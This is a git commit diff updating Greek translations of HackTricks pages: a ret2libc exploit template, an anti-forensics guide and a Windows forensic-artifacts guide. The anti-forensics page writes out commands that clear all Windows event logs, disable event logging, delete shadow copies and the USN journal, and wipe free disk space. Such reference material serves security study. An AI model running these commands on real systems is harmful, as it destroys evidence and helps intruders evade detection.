Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/

This commit is contained in:
Translator 2024-04-07 23:22:21 +00:00
parent 01c425c98d
commit 08f17c9a87
35 changed files with 1888 additions and 1589 deletions

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -10,10 +10,14 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% code title="template.py" %}
```python
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -198,11 +202,13 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
{% endcode %}
## Συνηθισμένα προβλήματα
### MAIN_PLT = elf.symbols\['main'] δεν βρέθηκε
Αν το σύμβολο "main" δεν υπάρχει (πιθανότατα λόγω του ότι πρόκειται για ένα απογυμνωμένο δυαδικό αρχείο), τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας της main:
Αν το σύμβολο "main" δεν υπάρχει (πιθανότατα λόγω του ότι πρόκειται για ένα απογυμνωμένο δυαδικό αρχείο). Τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας του main:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
@ -218,22 +224,27 @@ MAIN_PLT = 0x401080
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
Αν εντοπίσετε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των εκμεταλλεύσεων: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Αν εντοπίσετε αυτό το **σφάλμα** μετά τη δημιουργία **όλου** του exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Προσπαθήστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,113 +1,143 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
# Χρονικές σημάνσεις
{% embed url="https://websec.nl/" %}
Ένας επιτιθέμενος μπορεί να ενδιαφέρεται να **αλλάξει τις χρονικές σημάνσεις των αρχείων** για να αποφύγει την ανίχνευσή του.\
Είναι δυνατόν να βρεθούν οι χρονικές σημάνσεις μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __και__ __`$FILE_NAME`.
Και τα δύο χαρακτηριστικά έχουν 4 χρονικές σημάνσεις: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταγραφής MFT** (MACE ή MACB).
# Χρονικά σημεία
Ο **Windows explorer** και άλλα εργαλεία εμφανίζουν τις πληροφορίες από το **`$STANDARD_INFORMATION`**.
Ένας εισβολέας μπορεί να ενδιαφέρεται να **αλλάξει τα χρονικά σημεία των αρχείων** για να αποφύγει την ανίχνευση.\
Είναι δυνατόν να βρείτε τα χρονικά σημεία μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __ και __ `$FILE_NAME`.
## TimeStomp - Εργαλείο αντι-ανακριτικής
Και τα δύο χαρακτηριστικά έχουν 4 χρονικά σημεία: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταχώρησης MFT** (MACE ή MACB).
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες των χρονικών σημάνσεων μέσα στο **`$STANDARD_INFORMATION`** **αλλά όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **ανιχνευθεί** **ύποπτη** **δραστηριότητα**.
Το **Windows explorer** και άλλα εργαλεία εμφανίζουν τις πληροφορίες από το **`$STANDARD_INFORMATION`**.
## TimeStomp - Εργαλείο Αντι-Φορενσικής
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημείων μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **αναγνωριστεί** **ύποπτη** **δραστηριότητα**.
## Usnjrnl
Το **USN Journal** (Update Sequence Number Journal) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
Το **USN Journal** (Καταγραφή Αριθμού Ακολουθίας Ενημερώσεων) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
![](<../../.gitbook/assets/image (449).png>)
Η προηγούμενη εικόνα είναι το **αποτέλεσμα** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι έγιναν κάποιες **αλλαγές** στο αρχείο.
Η προηγούμενη εικόνα είναι το **αποτέλεσμα** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι κάποιες **αλλαγές πραγματοποιήθηκαν** στο αρχείο.
## $LogFile
**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε ένα διαδικασία που ονομάζεται [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα κρατούνται σε ένα αρχείο με το όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για να αναλύσουν αυτό το αρχείο και να ανιχνεύσουν αλλαγές.
**Όλες οι μεταδεδομένες αλλαγές σε ένα σύστημα αρχείων καταγράφονται** σε ένα διαδικασία που είναι γνωστή ως [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Οι καταγεγραμμένες μεταδεδομένες διατηρούνται σε ένα αρχείο με το όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για την ανάλυση αυτού του αρχείου και την αναγνώριση αλλαγών.
![](<../../.gitbook/assets/image (450).png>)
Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **έγιναν κάποιες αλλαγές**.
Ξανά, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**.
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να ανιχνευθεί σε **ποια χρονική στιγμή τροποποιήθηκαν οι χρονικές σημάνσεις**:
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να αναγνωριστεί σε **ποια χρονική στιγμή τα χρονικά σημεία τροποποιήθηκαν**:
![](<../../.gitbook/assets/image (451).png>)
* CTIME: Χρόνος δημιουργίας του αρχείου
* ATIME: Χρόνος τροποποίησης του αρχείου
* MTIME: Χρόνος τροποποίησης του μητρώου MFT του αρχείου
* CTIME: Χρόνος δημιουργίας αρχείου
* ATIME: Χρόνος τροποποίησης αρχείου
* MTIME: Τροποποίηση καταχώρησης MFT αρχείου
* RTIME: Χρόνος πρόσβασης στο αρχείο
## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME`
Ένας άλλος τ
Ένας άλλος τρόπος για να αναγνωρίσετε ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνετε το χρόνο σε και τα δύο χαρακτηριστικά ψάχνοντας για **αντικρουόμενα**.
## Νανοδευτερόλεπτα
Τα χρονικά σημεία του **NTFS** έχουν μια **ακρίβεια** των **100 νανοδευτερολέπτων**. Έτσι, το να βρείτε αρχεία με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτο**.
## SetMace - Εργαλείο Αντι-Φορενσικής
Αυτό το εργαλείο μπορεί να τροποποιήσει και τα δύο χαρακτηριστικά `$STARNDAR_INFORMATION` και `$FILE_NAME`. Ωστόσο, από τα Windows Vista, είναι απαραίτητο ένα live OS για να τροποποιήσει αυτές τις πληροφορίες.
# Απόκρυψη Δεδομένων
Το NFTS χρησιμοποιεί ένα cluster και το ελάχιστο μέγεθος πληροφοριών. Αυτό σημαίνει ότι αν ένα αρχείο καταλαμβάνει ένα cluster και μισό, το **υπόλοιπο μισό δεν θα χρησιμοποιηθεί ποτέ** μέχρι το αρχείο να διαγραφεί. Έτσι, είναι δυνατόν να **κρύψετε δεδομένα σε αυτόν τον χώρο ανάπαυσης**.
Υπάρχουν εργαλεία όπως το slacker που επιτρέπουν την κρυφή των δεδομένων σε αυτόν τον "κρυφό" χώρο. Ωστόσο, μια ανάλυση του `$logfile` και `$usnjrnl` μπορεί να δείξει ότι προστέθηκαν κάποια δεδομένα:
![](<../../.gitbook/assets/image (452).png>)
Έτσι, είναι δυνατόν να ανακτήσετε τον χώρο ανάπαυσης χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτού του είδους το εργαλείο μπορεί να αποθηκεύσει το περιεχόμενο με κρυπτογράφηση ή ακόμη και κρυπτογράφηση.
# UsbKill
Αυτό είναι ένα εργαλείο που θα **κλείσει τον υπολογιστή αν ανιχνευθεί κάποια αλλαγή στις θύρες USB**.\
Ένας τρόπος να ανακαλύψετε αυτό θα ήταν να επιθεωρήσετε τις εκτελούμενες διεργασίες και **να ελέγξετε κάθε σενάριο python που εκτελείται**.
# Διανομές Live Linux
Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν προσαρτηθεί μόνο με δικαιώματα ανάγνωσης δεν θα είναι δυνατή η ανίχνευση της εισβολής.
# Ασφαλής Διαγραφή
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Ρύθμιση Windows
Είναι δυνατόν να απενεργοποιήσετε αρκετές μεθόδους καταγραφής των Windows για να κάνετε την έρευνα φορενσικής πολύ πιο δύσκολη.
## Απενεργοποίηση Χρονικών Ση
## Διαγραφή Ιστορικού USB
Όλες οι **καταχωρήσεις συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR**, το οποίο περιέχει υποκλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό**, θα διαγράψετε το ιστορικό USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε βέβαιοι ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Όλες οι **Καταχωρήσεις Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows υπό το κλειδί **USBSTOR** που περιέχει υπο-κλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια Συσκευή USB στον Υπολογιστή ή το Laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας** αυτό θα διαγράψετε το ιστορικό USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε σίγουροι ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τις USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί.
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USBs είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί.
## Απενεργοποίηση Αντιγράφων Σκιάς
**Λίστα** αντιγράφων σκιάς με την εντολή `vssadmin list shadowstorage`\
**Διαγραφή** τους με την εντολή `vssadmin delete shadow`
**Εμφάνιση** των αντιγράφων σκιάς με `vssadmin list shadowstorage`\
**Διαγραφή** τους εκτελώντας `vssadmin delete shadow`
Μπορείτε επίσης να τα διαγράψετε μέσω του γραφικού περιβάλλοντος ακολουθώντας τα βήματα που προτείνονται στην [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Μπορείτε επίσης να τα διαγράψετε μέσω γραφικού περιβάλλοντος ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά από κλικ στο κουμπί Έναρξη των Windows.
2. Από τη λίστα, βρείτε την "Volume Shadow Copy", επιλέξτε την και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ.
3. Επιλέξτε την επιλογή "Disabled" από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ.
1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά το κλικ στο κουμπί εκκίνησης των Windows.
2. Από τη λίστα, βρείτε το "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις ιδιότητες κάνοντας δεξί κλικ.
3. Επιλέξτε το Disabled από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ.
Είναι επίσης δυνατή η τροποποίηση της διαμόρφωσης των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
Είναι επίσης δυνατό να τροποποιήσετε τη διαμόρφωση των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
## Αντικατάσταση διαγραμμένων αρχείων
* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο των Windows**: `cipher /w:C` Αυτό θα οδηγήσει το cipher να αφαιρέσει οποιαδήποτε δεδομένα από το διαθέσιμο αχρησιμοποίητο χώρο στον δίσκο C.
* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο Windows**: `cipher /w:C` Αυτό θα υποδείξει στο cipher να αφαιρέσει οποιαδήποτε δεδομένα από το διαθέσιμο αχρησιμοποίητο χώρο δίσκου μέσα στο C drive.
* Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie)
## Διαγραφή αρχείων καταγραφής συμβάντων των Windows
* Windows + R --> eventvwr.msc --> Ανάπτυξη "Καταγραφές των Windows" --> Δεξί κλικ σε κάθε κατηγορία και επιλογή "Εκκαθάριση καταγραφής"
* Windows + R --> eventvwr.msc --> Ανάπτυξη "Καταγραφές Windows" --> Δεξί κλικ σε κάθε κατηγορία και επιλογή "Καθαρισμός καταγραφής"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Απενεργοποίηση καταγραφής συμβάντων των Windows
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* Εντός της ενότητας υπηρεσιών, απενεργοποιήστε την υπηρεσία "Windows Event Log"
* Μέσα στην ενότητα υπηρεσιών απενεργοποιήστε την υπηρεσία "Windows Event Log"
* `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl`
## Απενεργοποίηση $UsnJrnl
* `fsutil usn deletejournal /d c:`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
</details>
{% embed url="https://websec.nl/" %}

View file

@ -4,49 +4,53 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Γενικά Αρχεία Windows
### Ειδοποιήσεις Windows 10
Στη διαδρομή `\Users\<όνομαρήστη>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows).
Στη διαδρομή `\Users\<όνομαρήστη>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν το Windows Anniversary) ή `wpndatabase.db` (μετά το Windows Anniversary).
Μέσα σε αυτήν τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
### Χρονολόγιο
Το Χρονολόγιο είναι μια χαρακτηριστική των Windows που παρέχει **χρονολογική ιστορία** των επισκεφθέντων ιστοσελίδων, των επεξεργασμένων εγγράφων και των εκτελεσμένων εφαρμογών.
Το Χρονολόγιο είναι μια χαρακτηριστική των Windows που παρέχει **χρονολογική ιστορία** των επισκεφθέντων ιστοσελίδων, επεξεργασμένων εγγράφων και εκτελεσμένων εφαρμογών.
Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<όνομαρήστη>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **που δημιουργεί 2 αρχεία που μπορούν να ανοίξουν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<όνομαρήστη>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **το οποίο δημιουργεί 2 αρχεία που μπορούν να ανοίξουν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Εναλλακτικά Ρεύματα Δεδομένων)
Τα κατεβασμένα αρχεία μπορεί να περιέχουν την **Ζώνη Αναγνώρισης ADS** που υποδεικνύει **πώς** έγινε το **κατέβασμα** από το εταιρικό δίκτυο, το διαδίκτυο κ.λπ. Ορισμένο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως η **URL** από όπου κατέβηκε το αρχείο.
